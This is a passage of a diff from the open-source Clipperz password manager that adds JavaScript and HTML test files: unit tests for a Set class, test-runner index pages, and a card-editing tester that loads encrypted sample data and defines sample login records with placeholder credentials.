|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 2, "here I am");
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), true);
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1", "item2"];
|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 1);
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), false);
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1", "item4"];
|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 2);
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), true);
|
||||
}
|
||||
|
||||
{
|
||||
var items;
|
||||
var poppedItem;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
set = new Clipperz.Set({'items': items});
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 1");
|
||||
is(set.size(), 2, "test popAnItem - 2");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 3");
|
||||
is(set.size(), 1, "test popAnItem - 4");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 5");
|
||||
is(set.size(), 0, "test popAnItem - 6");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem == null, "test popAnItem - 7");
|
||||
}
|
||||
*/
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
54
frontend/gamma/tests/tests/Clipperz/Set.html
Normal file
@@ -0,0 +1,54 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Set - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Set.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Set.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
165
frontend/gamma/tests/tests/Clipperz/Set.test.js
Normal file
@@ -0,0 +1,165 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'set_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("set_test", someTestArgs);
|
||||
deferredResult.addCallback(function () {
|
||||
var set;
|
||||
var object1;
|
||||
var object2;
|
||||
var object3;
|
||||
|
||||
set = new Clipperz.Set();
|
||||
|
||||
object1 = new Object();
|
||||
object2 = new Object();
|
||||
object3 = new Object();
|
||||
|
||||
object1.label = "object 1";
|
||||
object2.label = "object 2";
|
||||
object3.label = "object 3";
|
||||
|
||||
is(set.size(), 0, "A new set should be empty");
|
||||
|
||||
set.add(object1);
|
||||
is(set.size(), 1);
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), false);
|
||||
|
||||
set.add(object1);
|
||||
is(set.size(), 1, "Adding the same object twice does not change the set content");
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), false);
|
||||
|
||||
set.add(object2);
|
||||
is(set.size(), 2);
|
||||
is(set.contains(object1), true);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.remove(object1);
|
||||
is(set.size(), 1, "Size check after removing an object");
|
||||
is(set.contains(object1), false);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.remove(object1);
|
||||
is(set.size(), 1, "Removing twice the same object does not change the set content");
|
||||
is(set.contains(object1), false);
|
||||
is(set.contains(object2), true);
|
||||
is(set.contains(object3), false);
|
||||
|
||||
set.empty();
|
||||
is(set.size(), 0);
|
||||
|
||||
{
|
||||
var items;
|
||||
var populatedSet;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
|
||||
populatedSet = new Clipperz.Set({'items': items});
|
||||
is(populatedSet.size(), 3);
|
||||
is(populatedSet.contains("item1"), true);
|
||||
is(populatedSet.contains("item4"), false);
|
||||
|
||||
items.splice(0, items.length);
|
||||
is(populatedSet.size(), 3);
|
||||
}
|
||||
|
||||
{
|
||||
var items;
|
||||
var deletedItems;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1"];
|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 2, "here I am");
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), true);
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1", "item2"];
|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 1);
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), false);
|
||||
|
||||
set = new Clipperz.Set({'items': items});
|
||||
deletedItems = ["item1", "item4"];
|
||||
set.remove(deletedItems);
|
||||
is(set.size(), 2);
|
||||
is(set.contains("item1"), false);
|
||||
is(set.contains("item2"), true);
|
||||
}
|
||||
|
||||
{
|
||||
var items;
|
||||
var poppedItem;
|
||||
|
||||
items = ["item1", "item2", "item3"];
|
||||
set = new Clipperz.Set({'items': items});
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 1");
|
||||
is(set.size(), 2, "test popAnItem - 2");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 3");
|
||||
is(set.size(), 1, "test popAnItem - 4");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem != null, "test popAnItem - 5");
|
||||
is(set.size(), 0, "test popAnItem - 6");
|
||||
|
||||
poppedItem = set.popAnItem();
|
||||
ok(poppedItem == null, "test popAnItem - 7");
|
||||
}
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Set", tests, {trace:false});
|
||||
49
frontend/gamma/tests/tests/Clipperz/index.html
Normal file
@@ -0,0 +1,49 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.* - tests</title>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
'Async.html',
|
||||
'Base.html',
|
||||
'ByteArray.html',
|
||||
'Date.html',
|
||||
'DOM.html',
|
||||
'KeePassExportProcessor.html',
|
||||
'RoboFormExportProcessor.html',
|
||||
'Set.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
50
frontend/gamma/tests/tests/Clipperz/index_googleCode.html
Normal file
@@ -0,0 +1,50 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
'Base.html',
|
||||
'ByteArray.html',
|
||||
'NotificationCenter.html',
|
||||
'Set.html',
|
||||
'Crypto/AES.html',
|
||||
'Crypto/BigInt.html',
|
||||
'Crypto/PRNG.html',
|
||||
'Crypto/SHA.html',
|
||||
'Crypto/ECC.html',
|
||||
'Crypto/SRP.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
50
frontend/gamma/tests/tests/Clipperz/index_testECC.html
Normal file
@@ -0,0 +1,50 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
// 'Base.html',
|
||||
'ByteArray.html',
|
||||
// 'Crypto/AES.html',
|
||||
'Crypto/BigInt.html',
|
||||
// 'Crypto/PRNG.html',
|
||||
// 'Crypto/SHA.html',
|
||||
// 'Crypto/SRP.html',
|
||||
// 'Crypto/ECC.html',
|
||||
'Crypto/ECC.BinaryField.FiniteField.html',
|
||||
'Crypto/ECC.BinaryField.Value.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,238 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Base.module('Clipperz.Tests.CardDialogEditing');
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
Clipperz.PM.Strings.Languages.initSetup();
|
||||
|
||||
Clipperz.Tests.CardDialogEditing.Tester = function(args) {
|
||||
args = args || {};
|
||||
|
||||
Clipperz.Tests.CardDialogEditing.Tester.superclass.constructor.call(this, args);
|
||||
//# this._user = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return 'test';}});
|
||||
this._user = new Clipperz.PM.DataModel.User({username:'joe', getPassphraseFunction:function () { return 'clipperz';}});
|
||||
|
||||
return this;
|
||||
};
|
||||
|
||||
Clipperz.Base.extend(Clipperz.Tests.CardDialogEditing.Tester, Object, {
|
||||
|
||||
'toString': function() {
|
||||
return "Clipperz.Tests.CardDialogEditing.Tester";
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'user': function () {
|
||||
return this._user;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'run': function () {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var cardDialogController;
|
||||
var cardDialogComponent;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("CardDialogEditing_test.init", {trace:false});
|
||||
//# deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_offline_copy_data']);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data_newVersion']);
|
||||
deferredResult.addMethod(this.user(), 'login');
|
||||
//# deferredResult.addMethod(this.user(), 'getRecord', '8280842f41162b673335b63860637e8472e8bbff0efa2bc78b0dbc5e09712e13');
|
||||
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '062af892bcfba49ffcff05c56d99b7af2d508358e39c058c2e1fc83531436f80'); // Linkedin
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '084e23120544603f0297368fd3891a3818e0fe13488e2f2c6079913c8d1bed8d'); // Example Attack
|
||||
deferredResult.addMethod(this.user(), 'getRecord', '13a5e52976337ab210903cd04872588e1b21fb72bc183e91aa25c494b8138551'); // Amazon
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '507f38b06d587d8889698ae1ebbba7ef8f0539b82550dd25779fd9ee88fc0c7a'); // MyBlogLog
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '6026370f3db3860d2c46a08e389a7e906dc14f98c8444b21be9a7e9f405a2728'); // Del.icio.us
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '6c25be8e145efb26a1abd59590522f73fb2e3dbc139af2217074d9e2ba92c16a'); // Microsoft Office Key
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '6d45c2fec275b7482d41c76b20507100cfb6ab49922b876f9dd3040d361f4a18'); // The NewYork Times
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '7bb69b6366a8012f181c01e368ba18d4f7a82bcabb4959189736ad124c4bbfbb'); // Web Password
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '8b18e8593b5bc2f7ea39a5fab222047034ef2f380fee05be0fa6e1c0972fea39'); // Jaiku
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '9dcd2a8a0fcb7e57d234dc4fea347f020a6a01793e40cf56a0d22379e590e291'); // Home Burglar Alarm
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'ca01bcb7691f70818feed46c9a2a91883ac543997a395535aedbb49de166690c'); // MySpace
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'd620764a656bfd4e1d3758500d5db72e460a0cf729d56ed1a7755b5725c50045'); // American Airlines
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'de13c0d036234c44214062bc0a89e5f127470c464333493a485729f43cdc26e4'); // Luftansa
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'eeda70e0392261967bda71c3764da78989c45bbd2bb7be6b941b90f81d9b81b5'); // Google Account
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'f215d89bf4583c12f5ed4f4330f488dad3fffa448f4dc784f15ef135dda2c732'); // Expedia
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'fe21497ef7435d31f9746c132e4b5ecf5aac5f13b5961ddb55d2bdc3409f28f6'); // Bloglines
|
||||
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '5cdac63b317f3942da38f3a3de3b7f0e5d6678200951c6216230295550f63fb4'); // WEB PASSWORD (0)
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '36ec1a41118813ced3553534fa2607d781cba687768db305beed368a8e06e113'); // DIGG (1)
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'c0ce9130ca365bb02418d4305ea1d29e49c3f0e96d44b9d3cb6b4b6843d25065'); // SAP (2)
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', 'd5f700b9c3367c39551ea49e00a9ab20dae09dd79d46047b983fc7c4bfaa050d'); // YAHOO (4)
|
||||
|
||||
// deferredResult.addMethod(this.user(), 'createNewRecord');
|
||||
|
||||
/*
|
||||
deferredResult.addCallback(function (aRecord) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup new record", [
|
||||
MochiKit.Base.method(aRecord, 'setLabel', "Clipperz staging site"),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"URL", 'value':"http://d6.clipperz.com", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"USERNAME", 'value':"staging", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"PASSWORD", 'value':"drupal", 'isHidden':true}),
|
||||
|
||||
MochiKit.Base.method(aRecord, 'createNewDirectLogin'),
|
||||
function (aDirectLogin) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup new record [directLogin]", [
|
||||
MochiKit.Base.method(aDirectLogin, 'setLabel', 'Clipperz staging site'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setFavicon', 'http://www.apple.com/favicon.ico'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setBookmarkletConfiguration', '{ "page":{"title":"HTTP authentication"},\n "form":{"attributes": {\n "action":"",\n "type":"http_auth"\n }, "inputs": [\n {"type":"text","name":"url","value":""},\n {"type":"text","name":"username","value":""},\n {"type":"password","name":"password","value":""}\n ]}, "version":"0.2.3"}'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'url', 'URL'),
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'username', 'USERNAME'),
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'password', 'PASSWORD')
|
||||
], {trace:false});
|
||||
},
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, aRecord)
|
||||
], {trace:false});
|
||||
});
|
||||
|
||||
// deferredResult.addMethod(this.user(), 'createNewRecord');
|
||||
deferredResult.addCallback(function (aRecord) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup another record", [
|
||||
MochiKit.Base.method(aRecord, 'setLabel', "Twitter site"),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"twitter_url", 'value':"http://www.twitter.com", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"twitter_username", 'value':"staging", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"twitter_password", 'value':"drupal", 'isHidden':true}),
|
||||
|
||||
MochiKit.Base.method(aRecord, 'createNewDirectLogin'),
|
||||
function (aDirectLogin) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup another record [directLogin]", [
|
||||
MochiKit.Base.method(aDirectLogin, 'setLabel', 'Twitter'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setFavicon', 'http://www.twitter.com/favicon.ico'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setBookmarkletConfiguration', '{"page": {"title": "Twitter"},\n"form": {"attributes": {"action": "https://twitter.com/sessions",\n"method": "post"},\n"inputs": [{"type": "hidden",\n"name": "authenticity_token",\n"value": "b78a9460629980ed4c705fe94e6c4f37bfc32fed"},\n{"type": "text",\n"name": "session[username_or_email]",\n"value": ""},\n{"type": "password",\n"name": "session[password]",\n"value": ""},\n{"type": "checkbox",\n"name": "remember_me",\n"value": "1"},\n{"type": "hidden",\n"name": "q",\n"value": ""}]},\n"version": "0.2.3"}'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'session[username_or_email]', 'twitter_username'),
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'session[password]', 'twitter_password'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'formValues'),
|
||||
MochiKit.Base.itemgetter('remember_me'),
|
||||
MochiKit.Base.methodcaller('setValue', 1)
|
||||
|
||||
], {trace:false});
|
||||
},
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, aRecord)
|
||||
], {trace:false});
|
||||
});
|
||||
|
||||
// deferredResult.addMethod(this.user(), 'createNewRecord');
|
||||
deferredResult.addCallback(function (aRecord) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup third record", [
|
||||
MochiKit.Base.method(aRecord, 'setLabel', "R@cine"),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"R@cine_username", 'value':"joe", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"R@cine_password", 'value':"clipperz", 'isHidden':true}),
|
||||
|
||||
MochiKit.Base.method(aRecord, 'createNewDirectLogin'),
|
||||
function (aDirectLogin) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup third record [directLogin]", [
|
||||
MochiKit.Base.method(aDirectLogin, 'setLabel', 'R@cine'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setFavicon', 'http://www.racine.ra.it/horde/imp/graphics/favicon.ico'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setBookmarkletConfiguration', '{"page": {"title": "IMP :: Welcome to Horde"},\n"form": {"attributes": {"action": "http://www.racine.ra.it/horde/imp/redirect.php",\n"method": "post"},\n"inputs": [{"type": "hidden",\n"name": "actionID",\n"value": "105"},\n{"type": "hidden",\n"name": "url",\n"value": ""},\n{"type": "hidden",\n"name": "mailbox",\n"value": "INBOX"},\n{"type": "text",\n"name": "imapuser",\n"value": ""},\n{"type": "password",\n"name": "pass",\n"value": ""},\n{"type": "hidden",\n"name": "server",\n"value": "localhost"},\n{"type": "hidden",\n"name": "port",\n"value": "143"},\n{"type": "hidden",\n"name": "namespace",\n"value": ""},\n{"type": "hidden",\n"name": "maildomain",\n"value": "racine.ra.it"},\n{"type": "hidden",\n"name": "protocol",\n"value": "imap/notls"},\n{"type": "hidden",\n"name": "realm",\n"value": "racine.ra.it"},\n{"type": "hidden",\n"name": "folders",\n"value": "mail/"},\n{"type": "select",\n"name": "new_lang",\n"options": [{"selected": false,\n"label": "Bulgarian",\n"value": "bg_BG"},\n{"selected": false,\n"label": "Chinese (Simplified)",\n"value": "zh_CN"},\n{"selected": false,\n"label": "Chinese (Traditional)",\n"value": "zh_TW"},\n{"selected": false,\n"label": "Czech",\n"value": "cs_CZ"},\n{"selected": false,\n"label": "Dansk",\n"value": "da_DK"},\n{"selected": false,\n"label": "Deutsch",\n"value": "de_DE"},\n{"selected": false,\n"label": "English (GB)",\n"value": "en_GB"},\n{"selected": true,\n"label": "English (US)",\n"value": "en_US"},\n{"selected": false,\n"label": "Español",\n"value": "es_ES"},\n{"selected": false,\n"label": "Eesti",\n"value": "et_EE"},\n{"selected": false,\n"label": "Français",\n"value": "fr_FR"},\n{"selected": false,\n"label": "Greek",\n"value": "el_GR"},\n{"selected": false,\n"label": "Italiano",\n"value": "it_IT"},\n{"selected": false,\n"label": "Japanese",\n"value": "ja_JP"},\n{"selected": false,\n"label": "Korean",\n"value": "ko_KR"},\n{"selected": false,\n"label": "Latviešu",\n"value": "lv_LV"},\n{"selected": false,\n"label": "Lietuviskas",\n"value": "lt_LT"},\n{"selected": false,\n"label": "Magyar",\n"value": "hu_HU"},\n{"selected": false,\n"label": "Nederlands",\n"value": "nl_NL"},\n{"selected": false,\n"label": "Norsk bokmål",\n"value": "nb_NO"},\n{"selected": false,\n"label": "Norsk nynorsk",\n"value": "nn_NO"},\n{"selected": false,\n"label": "Polski",\n"value": "pl_PL"},\n{"selected": false,\n"label": "Português",\n"value": "pt_PT"},\n{"selected": false,\n"label": "Português Brasileiro",\n"value": "pt_BR"},\n{"selected": false,\n"label": "Romana",\n"value": "ro_RO"},\n{"selected": false,\n"label": "Russian (Windows)",\n"value": "ru_RU"},\n{"selected": false,\n"label": "Russian (KOI8-R)",\n"value": "ru_RU.KOI8-R"},\n{"selected": false,\n"label": "Slovak",\n"value": "sk_SK"},\n{"selected": false,\n"label": "Slovenscina",\n"value": "sl_SI"},\n{"selected": false,\n"label": "Suomi",\n"value": "fi_FI"},\n{"selected": false,\n"label": "Svenska",\n"value": "sv_SE"},\n{"selected": false,\n"label": "Ukranian",\n"value": "uk_UA"}]},\n{"type": "submit",\n"name": "button",\n"value": "Log in"}]},\n"version": "0.2.3"}'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'imapuser', 'R@cine_username'),
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'pass', 'R@cine_password'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'formValues'),
|
||||
MochiKit.Base.itemgetter('new_lang'),
|
||||
